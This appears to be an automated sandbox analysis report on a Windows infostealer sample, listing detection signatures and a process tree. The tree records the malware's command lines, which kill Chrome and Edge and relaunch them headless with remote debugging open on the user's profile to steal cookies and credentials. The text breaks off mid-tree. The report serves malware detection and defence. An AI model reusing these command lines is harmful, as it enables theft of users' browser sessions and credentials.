Overview

overview

10

Static

static

10

2026-07-05...at.exe

windows10-2004-x64

8

2026-07-05...at.exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    150s
  • max time network
    124s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/07/2026, 15:01

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-07-05_77153c8ea264bfabb17396a81d803a33_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
  • Size 41.0MB
  • Sample260705-sd8lcsgx6m
  • SHA256 fcd880e54aa5b59428941fecb1830753fff073fbee5205546997ad1eb8ca5a72
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
adwarecredential_accessdefense_evasiondiscoveryexecutioninstallerpersistenceprivilege_escalationransomwarespywarestealertrojan

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Uses browser remote debugging 2 TTPs 19 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

    credential_accessstealer
  • Drops startup file 1 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 24 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 3 IoCs
    defense_evasiontrojan
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 64 IoCs
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
    defense_evasion
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 4 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Time Discovery 1 TTPs 2 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Inno Setup is an open-source installation builder for Windows applications. 4 IoCs

    Inno Setup installer

    installer
  • Enumerates system info in registry 2 TTPs 6 IoCs
  • Kills process with taskkill 2 IoCs
    defense_evasion
  • Modifies Control Panel 47 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 8 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 64 IoCs
  • NTFS ADS 5 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 24 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of FindShellTrayWindow 8 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Views/modifies file attributes 1 TTPs 1 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-05_77153c8ea264bfabb17396a81d803a33_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-05_77153c8ea264bfabb17396a81d803a33_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5776
    • C:\Users\Admin\AppData\Local\Temp\2026-07-05_77153c8ea264bfabb17396a81d803a33_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-05_77153c8ea264bfabb17396a81d803a33_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2728
      • C:\Users\Admin\AppData\Local\Temp\ServiceUpdate_2728.exe
        C:\Users\Admin\AppData\Local\Temp\ServiceUpdate_2728.exe
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2672
        • C:\Users\Admin\AppData\Local\Temp\is-80ISG.tmp\ServiceUpdate_2728.tmp
          "C:\Users\Admin\AppData\Local\Temp\is-80ISG.tmp\ServiceUpdate_2728.tmp" /SL5="$6024A,28653718,898560,C:\Users\Admin\AppData\Local\Temp\ServiceUpdate_2728.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Drops file in Program Files directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:2892
          • C:\Users\Admin\AppData\Local\Temp\is-3BB9P.tmp\_isetup\_setup64.tmp
            helper 105 0x428
            5⤵
            • Executes dropped EXE
            PID:3432
          • C:\Windows\system32\regsvr32.exe
            "C:\Windows\system32\regsvr32.exe" /s "C:\Program Files\GPSoftware\Directory Opus\dopushlp.dll"
            5⤵
            • Loads dropped DLL
            • Modifies registry class
            PID:4316
          • C:\Windows\system32\regsvr32.exe
            "C:\Windows\system32\regsvr32.exe" /s "C:\Program Files\GPSoftware\Directory Opus\dopuslib.dll"
            5⤵
            • Loads dropped DLL
            • Modifies Internet Explorer settings
            • Modifies registry class
            PID:6136
          • C:\Windows\SysWOW64\regsvr32.exe
            "C:\Windows\system32\regsvr32.exe" /s "C:\Program Files\GPSoftware\Directory Opus\dopuslib32.dll"
            5⤵
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Modifies Internet Explorer settings
            • Modifies registry class
            PID:5008
          • C:\Users\Admin\AppData\Local\Temp\is-3BB9P.tmp\SetAppUserModelId-x64.exe
            "C:\Users\Admin\AppData\Local\Temp\is-3BB9P.tmp\SetAppUserModelId-x64.exe" /cert2:0:918020 13100 "C:\Program Files\GPSoftware\Directory Opus"
            5⤵
            • Executes dropped EXE
            • Drops file in Program Files directory
            • NTFS ADS
            PID:1864
          • C:\Program Files\GPSoftware\Directory Opus\dopusrt.exe
            "C:\Program Files\GPSoftware\Directory Opus\dopusrt.exe" /fixappname
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            PID:1340
          • C:\Program Files\GPSoftware\Directory Opus\dopusrt.exe
            "C:\Program Files\GPSoftware\Directory Opus\dopusrt.exe" /runstd:"C:\Program Files\GPSoftware\Directory Opus\dopus.exe" /ignoresetup autolister=layout
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            PID:4504
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /F /IM chrome.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2820
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9876 "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --profile-directory=Default --remote-allow-origins=* --headless=new --disable-gpu --no-sandbox
        3⤵
        • Uses browser remote debugging
        • Drops file in Windows directory
        • Enumerates system info in registry
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:120
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffceb95c728,0x7ffceb95c734,0x7ffceb95c740
          4⤵
            PID:268
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1828,i,668637308073155956,1159141347795800566,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1824 /prefetch:2
            4⤵
              PID:5792
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1828,i,668637308073155956,1159141347795800566,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1712 /prefetch:11
              4⤵
              • System Time Discovery
              PID:1928
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1828,i,668637308073155956,1159141347795800566,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2020 /prefetch:13
              4⤵
                PID:2844
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=1828,i,668637308073155956,1159141347795800566,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2872 /prefetch:1
                4⤵
                • Uses browser remote debugging
                PID:3908
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=1828,i,668637308073155956,1159141347795800566,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2888 /prefetch:1
                4⤵
                • Uses browser remote debugging
                PID:1280
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1828,i,668637308073155956,1159141347795800566,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4048 /prefetch:14
                4⤵
                  PID:4692
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=1828,i,668637308073155956,1159141347795800566,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4064 /prefetch:1
                  4⤵
                  • Uses browser remote debugging
                  PID:4316
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1828,i,668637308073155956,1159141347795800566,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4656 /prefetch:14
                  4⤵
                    PID:2876
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=1828,i,668637308073155956,1159141347795800566,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4788 /prefetch:1
                    4⤵
                    • Uses browser remote debugging
                    PID:3700
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=1828,i,668637308073155956,1159141347795800566,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4812 /prefetch:1
                    4⤵
                    • Uses browser remote debugging
                    PID:568
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=1828,i,668637308073155956,1159141347795800566,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5000 /prefetch:1
                    4⤵
                    • Uses browser remote debugging
                    PID:1948
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --field-trial-handle=1828,i,668637308073155956,1159141347795800566,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4892 /prefetch:1
                    4⤵
                    • Uses browser remote debugging
                    PID:1420
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1828,i,668637308073155956,1159141347795800566,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4900 /prefetch:14
                    4⤵
                      PID:6044
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --field-trial-handle=1828,i,668637308073155956,1159141347795800566,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5020 /prefetch:1
                      4⤵
                      • Uses browser remote debugging
                      PID:1988
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --field-trial-handle=1828,i,668637308073155956,1159141347795800566,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4848 /prefetch:1
                      4⤵
                      • Uses browser remote debugging
                      PID:2276
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --field-trial-handle=1828,i,668637308073155956,1159141347795800566,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5076 /prefetch:1
                      4⤵
                      • Uses browser remote debugging
                      PID:2772
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1828,i,668637308073155956,1159141347795800566,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5048 /prefetch:14
                      4⤵
                        PID:4324
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --field-trial-handle=1828,i,668637308073155956,1159141347795800566,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5084 /prefetch:1
                        4⤵
                        • Uses browser remote debugging
                        PID:796
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1828,i,668637308073155956,1159141347795800566,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5012 /prefetch:14
                        4⤵
                          PID:5488
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --field-trial-handle=1828,i,668637308073155956,1159141347795800566,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5044 /prefetch:1
                          4⤵
                          • Uses browser remote debugging
                          PID:5036
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --field-trial-handle=1828,i,668637308073155956,1159141347795800566,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4652 /prefetch:9
                          4⤵
                          • Uses browser remote debugging
                          PID:3940
                      • C:\Windows\SYSTEM32\taskkill.exe
                        taskkill /F /IM msedge.exe
                        3⤵
                        • Kills process with taskkill
                        • Suspicious use of AdjustPrivilegeToken
                        PID:5112
                        • C:\Windows\System32\Conhost.exe
                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                          4⤵
                            PID:1988
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9876 "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --profile-directory=Default --remote-allow-origins=* --headless=new --disable-gpu --no-sandbox
                          3⤵
                          • Uses browser remote debugging
                          • Drops file in Windows directory
                          • Enumerates system info in registry
                          • Suspicious use of FindShellTrayWindow
                          • Suspicious use of WriteProcessMemory
                          PID:1920
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x250,0x254,0x258,0x24c,0x260,0x7ffceb2bc188,0x7ffceb2bc194,0x7ffceb2bc1a0
                            4⤵
                              PID:2188
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=2252,i,3248809931718544338,9360717467406440777,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2248 /prefetch:2
                              4⤵
                                PID:6012
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2252,i,3248809931718544338,9360717467406440777,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2332 /prefetch:11
                                4⤵
                                • System Time Discovery
                                PID:4324
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2252,i,3248809931718544338,9360717467406440777,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1864 /prefetch:13
                                4⤵
                                  PID:3364
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2252,i,3248809931718544338,9360717467406440777,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3292 /prefetch:1
                                  4⤵
                                  • Uses browser remote debugging
                                  PID:5516
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2252,i,3248809931718544338,9360717467406440777,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3300 /prefetch:1
                                  4⤵
                                  • Uses browser remote debugging
                                  PID:5356
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=2252,i,3248809931718544338,9360717467406440777,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4192 /prefetch:1
                                  4⤵
                                  • Uses browser remote debugging
                                  PID:1520
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=2252,i,3248809931718544338,9360717467406440777,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4240 /prefetch:9
                                  4⤵
                                  • Uses browser remote debugging
                                  PID:4104
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
